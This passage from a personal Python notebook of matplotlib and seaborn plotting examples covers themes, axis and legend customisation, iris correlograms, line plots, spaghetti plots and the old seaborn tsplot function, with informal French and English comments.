dpi=96)\r\n\r\nsns.set_style(\"dark\")\r\nsns.boxplot(data=data);\r\nplt.title(\"dark\")\r\nplt.savefig('PNG/#104_seaborn_themes4.png', dpi=96)\r\n\r\nsns.set_style(\"ticks\")\r\nsns.boxplot(data=data);\r\nplt.title(\"ticks\")\r\nplt.savefig('PNG/#104_seaborn_themes5.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #104 CUSTOM AXIS ON SEABORN\r\n\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\ndf = sns.load_dataset('iris')\r\n \r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# plot\r\nsns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False, hue='species', legend=False, palette=\"Set1\")\r\nplt.legend(loc='lower right')\r\n\r\n# custom x title\r\nplt.xlabel('title of the xlabel', fontweight='bold', color = 'orange', fontsize='17', horizontalalignment='center')\r\nplt.despine()\r\n--> all of what work for matplotlib works for seaborn !\r\n\r\n\r\n\r\n\r\n# remove spine:\r\nsns.despine()\r\nplt.show()\r\nsns.despine(offset=10, trim=True);\r\n\r\nsns.axes_style() --> donne tout ce que je peux customiser sur les axes\r\nsns.set_style(\"darkgrid\", {\"axes.facecolor\": \".9\"})\r\nsinplot()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #105 CUSTOM LEGEND ON SEABORN\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\ndf = sns.load_dataset('iris')\r\n \r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# plot\r\nsns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False, hue='species', legend=False, palette=\"Set1\")\r\nplt.legend(loc='lower right')\r\n\r\nsns.lmplot( x=\"sepal_length\", y=\"sepal_width\", data=df, fit_reg=False, hue='species', legend=False, palette=\"Set1\")\r\nplt.legend(loc='lower right', ncol=3)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #106 TURN A MATPLOTLIB CHART TO SEABORN STYLE\r\n\r\n# library &amp;amp;amp; dataset\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Create data\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101), 'z': (np.random.randn(100)*15+range(1,101))*2 })\r\n \r\n# plot\r\n#plt.plot( 'x', 'y', data=df, marker='o', color='mediumvioletred')\r\n#plt.savefig('PNG/#106_seaborn_style_on_plt1.png', dpi=96)\r\n\r\n# Just load seaborn and the chart looks better:\r\nimport seaborn as sns\r\nplt.plot( 'x', 'y', data=df, marker='o', color='mediumvioletred')\r\nplt.savefig('PNG/#106_seaborn_style_on_plt2.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #110 --> #120 SEABORN CORRELOGRAM\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n\r\n# Plot pairwise relationships in a dataset.\r\n\r\n# pairplot(data, hue=None, hue_order=None, palette=None, vars=None, x_vars=None, y_vars=None, kind='scatter', diag_kind='hist', markers=None, size=2.5, aspect=1, dropna=True, plot_kws=None, diag_kws=None, grid_kws=None)\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #110 Basic correlogram\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Basic correlogram\r\nsns.pairplot(df)\r\n#sns.plt.show()\r\nplt.savefig('PNG/#110_Basic_Correlogram.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #111 Custom correlogram\r\n\r\n\r\n*** CUSTOM SCATTERPLOT\r\n\r\n# We can custom it trough plot_kws and kind. Kind can be scatter or reg\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# kind = scatter or reg\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nsns.pairplot(df, kind=\"reg\")\r\nplt.savefig('PNG/#111_Correlogram_custom1.png')\r\n\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nsns.pairplot(df, kind=\"scatter\")\r\nplt.savefig('PNG/#111_Correlogram_custom2.png')\r\n\r\n# As for classic scatter plot, you can adapt markers following a discrete variable:\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nsns.pairplot(df, kind=\"scatter\", hue=\"species\", markers=[\"o\", \"s\", \"D\"], palette=\"Set2\")\r\nplt.savefig('PNG/#111_Correlogram_custom3.png')\r\n\r\n# Finalley you can give other arguments in plot_kws.\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nsns.pairplot(df, kind=\"scatter\", hue=\"species\", plot_kws=dict(s=80, edgecolor=\"white\", linewidth=2.5))\r\nplt.savefig('PNG/#111_Correlogram_custom4.png')\r\n\r\n\r\n\r\n\r\n*** CUSTOM HISTOGRAM\r\n\r\n# We can custom it trough diag_kws and diag_kind\r\n\r\n# library & dataset\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# diag_kind = kde for density or hist for histogram\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nsns.pairplot(df, diag_kind=\"kde\")\r\nplt.savefig('PNG/#111_Correlogram_custom5.png')\r\n\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nsns.pairplot(df, diag_kind=\"hist\")\r\nplt.savefig('PNG/#111_Correlogram_custom6.png')\r\n\r\n# You can custom it as a density plot or histogram so see the related section\r\nimport matplotlib.pyplot as plt\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nsns.pairplot(df, diag_kind=\"kde\", diag_kws=dict(shade=True, bw=.05, vertical=False) )\r\nplt.savefig('PNG/#111_Correlogram_custom7.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n | SERIE #120 -> #130  LINEPLOT MATPLOTLIB & SEABORN\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n# Let's use the plot function of matplotlib. It is very linked with scatterplot so do not\r\n# hesitate to visit this function as well.\r\n\r\n# There are 2 types of Lineplots:\r\n  # - With 1 observation per xvalue -> Use Matplotlib\r\n  # - With Several observations per xvalue -> Use seaborn\r\n  \r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #120 BASIC LINEPLOT & INPUT DATA\r\n\r\n# Line plot are made for cases when the x variable is ordered. Not like scatterplot. In this\r\n# sense it is really close from time serie. \r\n\r\n# === By default if we give one variable only to the plot function, it understands that it follows a continuous x axis:\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nnp.random.seed(0)\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nvalues=np.cumsum(np.random.randn(1000,1))\r\nplt.plot(values)\r\nplt.savefig('PNG/#120_Basic_lineplot1.png')\r\n#plt.show()\r\n\r\n\r\n# === Just load the seaborn library to have a nicer result\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nnp.random.seed(0)\r\nimport seaborn as sns\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nvalues=np.cumsum(np.random.randn(1000,1))\r\nplt.plot(values)\r\nplt.savefig('PNG/#120_Basic_lineplot2.png')\r\n#plt.show()\r\n\r\n\r\n# === We can make a line plot from 2 columns of a data frame\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport pandas as pd\r\ndf=pd.DataFrame({'xvalues': range(1,101), 'yvalues': np.random.randn(100) })\r\n\r\n# plot\r\nplt.plot( 'xvalues', 'yvalues', data=df)\r\nplt.show()\r\n# --> no need to make a figure, it is the same.\r\n\r\n# === But if your X axis is not ordered:\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\nplt.plot( 'sepal_width', 'sepal_length', data=df)\r\nplt.savefig('PNG/#120_Basic_lineplot3.png')\r\n#plt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #121 LINEPLOT CUSTOMIZATION\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n#import seaborn as sns\r\nimport pandas as pd\r\nnp.random.seed(0)\r\ndf=pd.DataFrame({'x': range(1,11), 'y': np.random.randn(10) })\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n\r\n# Custom line color\r\nplt.plot( 'x', 'y', data=df, color='skyblue')\r\nplt.savefig('PNG/#121_Custom_line_plot1.png')\r\n#plt.show()\r\n# see the color page to see how to custom colors\r\n\r\n# add alpha\r\nplt.plot( 'x', 'y', data=df, color='skyblue',  alpha=0.3)\r\nplt.savefig('PNG/#121_Custom_line_plot2.png')\r\n#plt.show()\r\n    \r\n# custom line style\r\nplt.plot( 'x', 'y', data=df, linestyle='dashed')\r\nplt.savefig('PNG/#121_Custom_line_plot3.png')\r\nplt.show()\r\n\r\n# 4 styles are available\r\nplt.plot( [1,1.1,1,1.1,1], linestyle='-' , linewidth=4)\r\nplt.text(1.5, 1.3, \"linestyle = '-' \", horizontalalignment='left', size='medium', color='C0', weight='semibold')\r\nplt.plot( [2,2.1,2,2.1,2], linestyle='--' , linewidth=4 )\r\nplt.text(1.5, 2.3, \"linestyle = '--' \", horizontalalignment='left', size='medium', color='C1', weight='semibold')\r\nplt.plot( [3,3.1,3,3.1,3], linestyle='-.' , linewidth=4 )\r\nplt.text(1.5, 3.3, \"linestyle = '-.' \", horizontalalignment='left', size='medium', color='C2', weight='semibold')\r\nplt.plot( [4,4.1,4,4.1,4], linestyle=':' , linewidth=4 )\r\nplt.text(1.5, 4.3, \"linestyle = ':' \", horizontalalignment='left', size='medium', color='C3', weight='semibold')\r\n#plt.xticks([])\r\nplt.axis('off')\r\nplt.savefig('PNG/#121_Custom_line_plot4.png')\r\n\r\n\r\n# custom line width\r\nplt.plot( 'x', 'y', data=df, linewidth=22)\r\nplt.savefig('PNG/#121_Custom_line_plot5.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #122 MULTIPLE LINES\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n#import seaborn as sns\r\nimport pandas as pd\r\ndf=pd.DataFrame({'x': range(1,11), 'y1': np.random.randn(10), 'y2': np.random.randn(10)+range(1,11), 'y3': np.random.randn(10)+range(11,21) })\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# multiple line plot\r\nplt.plot( 'x', 'y1', data=df, marker='o', markerfacecolor='blue', markersize=12, color='skyblue', linewidth=4)\r\nplt.plot( 'x', 'y2', data=df, marker='', color='olive', linewidth=2)\r\nplt.plot( 'x', 'y3', data=df, marker='', color='olive', linewidth=2, linestyle='dashed', label=\"toto\")\r\nplt.legend()\r\n\r\nplt.savefig('PNG/#122_Multiple_line_plot.png')\r\n\r\n\r\n            \r\n\r\n            \r\n            \r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #123 Highlight a line\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n# Make a data frame\r\ndf=pd.DataFrame({'x': range(1,11), 'y1': np.random.randn(10), 'y2': np.random.randn(10)+range(1,11), 'y3': np.random.randn(10)+range(11,21), 'y4': np.random.randn(10)+range(6,16), 'y5': np.random.randn(10)+range(4,14)+(0,0,0,0,0,0,0,-3,-8,-6), 'y6': np.random.randn(10)+range(2,12), 'y7': np.random.randn(10)+range(5,15), 'y8': np.random.randn(10)+range(4,14) })\r\n\r\n#plt.style.use('fivethirtyeight')\r\nplt.style.use('seaborn-darkgrid')\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# multiple line plot\r\nfor column in df.drop('x', axis=1):  \r\n    plt.plot(df['x'], df[column], marker='', color='grey', linewidth=1, alpha=0.4)\r\n\r\n# Now re do the interesting curve, but biger with distinct color\r\nplt.plot(df['x'], df['y5'], marker='', color='orange', linewidth=4, alpha=0.7)\r\n\r\n# Change xlim\r\nplt.xlim(0,12)\r\n\r\n# Let's annotate the plot\r\nnum=0\r\nfor i in df.values[9][1:]:\r\n    num+=1\r\n    name=list(df)[num]\r\n    if name != 'y5':\r\n        plt.text(10.2, i, name, horizontalalignment='left', size='small', color='grey')\r\n\r\n# And add a special annotation for the group we are interested in\r\nplt.text(10.2, df.y5.tail(1), 'Mr Orange', horizontalalignment='left', size='small', color='orange')\r\n    \r\n# Add titles\r\nplt.title(\"Evolution of Mr Orange vs other students\", loc='left', fontsize=12, fontweight=0, color='orange')\r\nplt.xlabel(\"Time\")\r\nplt.ylabel(\"Score\")\r\n\r\nplt.savefig('PNG/#123_Highlight_a_line.png')\r\n\r\n\r\n\r\n            \r\n            \r\n            \r\n            \r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #124 Spaghetti Plot\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n# Make a data frame\r\ndf=pd.DataFrame({'x': range(1,11), 'y1': np.random.randn(10), 'y2': np.random.randn(10)+range(1,11), 'y3': np.random.randn(10)+range(11,21), 'y4': np.random.randn(10)+range(6,16), 'y5': np.random.randn(10)+range(4,14)+(0,0,0,0,0,0,0,-3,-8,-6), 'y6': np.random.randn(10)+range(2,12), 'y7': np.random.randn(10)+range(5,15), 'y8': np.random.randn(10)+range(4,14), 'y9': np.random.randn(10)+range(4,14), 'y10': np.random.randn(10)+range(2,12) })\r\n\r\n#plt.style.use('fivethirtyeight')\r\nplt.style.use('seaborn-darkgrid')\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create a color palette\r\npalette = plt.get_cmap('Set1')\r\n\r\n# multiple line plot\r\nnum=0\r\nfor column in df.drop('x', axis=1):  \r\n    num+=1\r\n    plt.plot(df['x'], df[column], marker='', color=palette(num), linewidth=1, alpha=0.9, label=column)\r\n\r\n# Add legend\r\nplt.legend(loc=2, ncol=2)\r\n\r\n# Add titles\r\nplt.title(\"A (bad) Spaghetti plot\", loc='left', fontsize=12, fontweight=0, color='orange')\r\nplt.xlabel(\"Time\")\r\nplt.ylabel(\"Score\")\r\n\r\nplt.savefig('PNG/#124_Spaghetti_plot.png')\r\n\r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #125 Line plot and small multiple\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n# Make a data frame\r\ndf=pd.DataFrame({'x': range(1,11), 'y1': np.random.randn(10), 'y2': np.random.randn(10)+range(1,11), 'y3': np.random.randn(10)+range(11,21), 'y4': np.random.randn(10)+range(6,16), 'y5': np.random.randn(10)+range(4,14)+(0,0,0,0,0,0,0,-3,-8,-6), 'y6': np.random.randn(10)+range(2,12), 'y7': np.random.randn(10)+range(5,15), 'y8': np.random.randn(10)+range(4,14), 'y9': np.random.randn(10)+range(4,14) })\r\n\r\n\r\n# Initialize the figure\r\nplt.style.use('seaborn-darkgrid')\r\nmy_dpi=96\r\nfig=plt.figure(figsize=(700/my_dpi, 700/my_dpi), dpi=my_dpi)\r\n\r\n# create a color palette\r\npalette = plt.get_cmap('Set1')\r\n\r\n# multiple line plot\r\nnum=0\r\nfor column in df.drop('x', axis=1):  \r\n    num+=1\r\n    \r\n    # Find the right spot on the plot\r\n    plt.subplot(3,3, num)\r\n    \r\n    # Plot the lineplot\r\n    plt.plot(df['x'], df[column], marker='', color=palette(num), linewidth=1.9, alpha=0.9, label=column)\r\n\r\n    # Same limits for everybody!\r\n    plt.xlim(0,10)\r\n    plt.ylim(-2,22)\r\n    \r\n    # Not ticks everywhere\r\n    if num in range(7) :\r\n        plt.tick_params(labelbottom='off')   \r\n    if num not in [1,4,7] :\r\n        plt.tick_params(labelleft='off')   \r\n    \r\n    # Add title\r\n    plt.title(column, loc='left', fontsize=12, fontweight=0, color=palette(num) )\r\n             \r\n# general title\r\nplt.suptitle(\"How the 9 students improved\\nthese past few days?\", fontsize=13, fontweight=0, color='black', style='italic', y=1.02)\r\n\r\n# Axis title\r\nfig.text(0.5, 0.02, 'Time', ha='center', va='center')\r\nfig.text(0.06, 0.5, 'Note', ha='center', va='center', rotation='vertical')\r\n\r\n\r\nplt.savefig('PNG/#125_Lineplot_small_multiple.png', bbox_inches='tight')\r\n\r\n            \r\n# ANOTHER VERSION WITH THE OTHER GROUPS AS WELL\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n# Make a data frame\r\ndf=pd.DataFrame({'x': range(1,11), 'y1': np.random.randn(10), 'y2': np.random.randn(10)+range(1,11), 'y3': np.random.randn(10)+range(11,21), 'y4': np.random.randn(10)+range(6,16), 'y5': np.random.randn(10)+range(4,14)+(0,0,0,0,0,0,0,-3,-8,-6), 'y6': np.random.randn(10)+range(2,12), 'y7': np.random.randn(10)+range(5,15), 'y8': np.random.randn(10)+range(4,14), 'y9': np.random.randn(10)+range(4,14) })\r\n\r\n# Initialize the figure\r\nplt.style.use('seaborn-darkgrid')\r\nmy_dpi=96\r\nfig=plt.figure(figsize=(700/my_dpi, 700/my_dpi), dpi=my_dpi)\r\n\r\n# create a color palette\r\npalette = plt.get_cmap('Set1')\r\n\r\n# multiple line plot\r\nnum=0\r\nfor column in df.drop('x', axis=1):  \r\n    num+=1\r\n    \r\n    # Find the right spot on the plot\r\n    plt.subplot(3,3, num)\r\n    \r\n    # plot every groups, but discreet\r\n    for v in df.drop('x', axis=1):  \r\n        plt.plot(df['x'], df[v], marker='', color='grey', linewidth=0.6, alpha=0.3)\r\n\r\n    # Plot the lineplot\r\n    plt.plot(df['x'], df[column], marker='', color=palette(num), linewidth=2.4, alpha=0.9, label=column)\r\n\r\n    # Same limits for everybody!\r\n    plt.xlim(0,10)\r\n    plt.ylim(-2,22)\r\n    \r\n    # Not ticks everywhere\r\n    if num in range(7) :\r\n        plt.tick_params(labelbottom='off')   \r\n    if num not in [1,4,7] :\r\n        plt.tick_params(labelleft='off')   \r\n    \r\n    # Add title\r\n    plt.title(column, loc='left', fontsize=12, fontweight=0, color=palette(num) )\r\n             \r\n# general title\r\nplt.suptitle(\"How the 9 students improved\\nthese past few days?\", fontsize=13, fontweight=0, color='black', style='italic', y=1.02)\r\n\r\n# Axis title\r\nfig.text(0.5, 0.02, 'Time', ha='center', va='center')\r\nfig.text(0.06, 0.5, 'Note', ha='center', va='center', rotation='vertical')\r\n\r\n\r\nplt.savefig('PNG/#125_Lineplot_small_multiple_v2.png', bbox_inches='tight')\r\n\r\n         \r\n    \r\n\r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n            \r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #124 Ts plot function of seaborn\r\n\r\n# The Ts plot function is awesome if you have: the measurement of a numerical value through time several individuals.indeed it is done to plot uncertainty around\r\n# a trend. So do not use it to plot a single line!\r\n       \r\n# It gives 2 parts on the chart: \r\n# - the central tendancy: dot or lines\r\n# - the uncertainty representation: error bars or uncertainty area or unit traces\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport pandas as pd\r\n\r\n# Create a wide format: one column per subject\r\ndf=pd.DataFrame({'x': range(1,11), 'y1': np.random.randn(10), 'y2': np.random.randn(10)+range(1,11), 'y3': np.random.randn(10)+range(11,21), 'y4': np.random.randn(10)+range(6,16), 'y5': np.random.randn(10)+range(4,14) })\r\n\r\n# Make it long: only 3 columns\r\ndf=pd.melt(df, id_vars=['x'], value_vars=['y1', 'y2', 'y3', 'y4', 'y5'], var_name='subject')        \r\n\r\n# Default Plot\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df)\r\n\r\n# Style available\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, err_style=\"ci_bars\")\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, err_style=\"unit_traces\")\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, err_style=\"boot_traces\", n_boot=50)\r\n\r\n# Custom the color\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, color=\"m\")\r\n\r\n# Interpolate?\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, interpolate=False )\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, err_style=\"ci_bars\", interpolate=False )\r\n\r\n# How to represent uncertainty: possibilities: ci_band, ci_bars, boot_traces, boot_kde, unit_traces, unit_points\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, err_style=\"unit_traces\" , color=\"orange\")\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, err_style=\"ci_band\" , color=\"orange\")\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, err_style=\"ci_bars\" , color=\"orange\")\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, err_style=\"boot_traces\", n_boot=500, color=\"orange\")\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, err_style=\"boot_kde\" ,  n_boot=500, color=\"orange\")\r\n\r\n# How to calculate uncertainty? -> if you represent uncertainty using a method with confidence interval = ci_band or ci_bars\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, ci=\"sd\", color=\"orange\")\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, ci=[68, 95], color=\"orange\")\r\n\r\n# Central tendancy\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, estimator=np.median)\r\nsns.tsplot(time=\"x\", value=\"value\", unit=\"subject\", data=df, estimator=np.max)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #126 With several groups\r\n\r\n# Disclaimer:\r\nhttp://seaborn.pydata.org/generated/seaborn.tsplot.html\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport pandas as pd\r\n\r\n# Load the gammas data set = long format\r\ngammas = sns.load_dataset(\"gammas\")\r\n\r\n# plot\r\nsns.tsplot(time=\"timepoint\", value=\"BOLD signal\", unit=\"subject\", condition=\"ROI\", data=gammas)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #127 REAL TIME SERIES: BYCICLES\r\n\r\n# Libraries\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport seaborn as sns\r\nimport pandas as pd\r\n\r\n# Import data \r\n# https://www.kaggle.com/c/bike-sharing-demand/data\r\ndf = pd.read_csv('http://python-graph-gallery.com/wp-content/uploads/bike.csv', sep=\",\", index_col=0, parse_dates=True)\r\n\r\n# Create a column for the hour, and one for the day\r\ndf['weekday'] = df.index.weekday\r\ndf['hour'] = df.index.hour\r\ndf['year'] = df.index.year\r\ndf['date'] = df.index.date\r\n\r\n# Represent in function of the hour of the day?\r\n#sns.tsplot( time=\"hour\", value=\"count\", unit=\"weekday\", data=df)\r\n\r\n\r\nplt.plot(df['date'], df['count'])\r\n\r\n\r\nfig, ax = plt.subplots(1)\r\nax.plot(df['date'], df['count'])\r\n\r\n# rotate and align the tick labels so they look better\r\nfig.autofmt_xdate()\r\n\r\n# use a more precise date string for the x axis locations in the\r\n# toolbar\r\nimport matplotlib.dates as mdates\r\nax.fmt_xdata = mdates.DateFormatter('%Y-%m-%d')\r\nplt.title('fig.autofmt_xdate fixes the labels')\r\n\r\n\r\n\r\n\r\n\r\n# Represent day of the year\r\ndf=df.rename(columns = {'count':'total_count'}) # since count is also a Dataframe func.\r\ndf.total_count = df.total_count.astype(np.float)\r\nsns.tsplot( time=\"date\", value=\"total_count\", unit=\"hour\", data=df)\r\n\r\ndf[\"date\"]\r\n\r\n\r\ndf['hour'] = 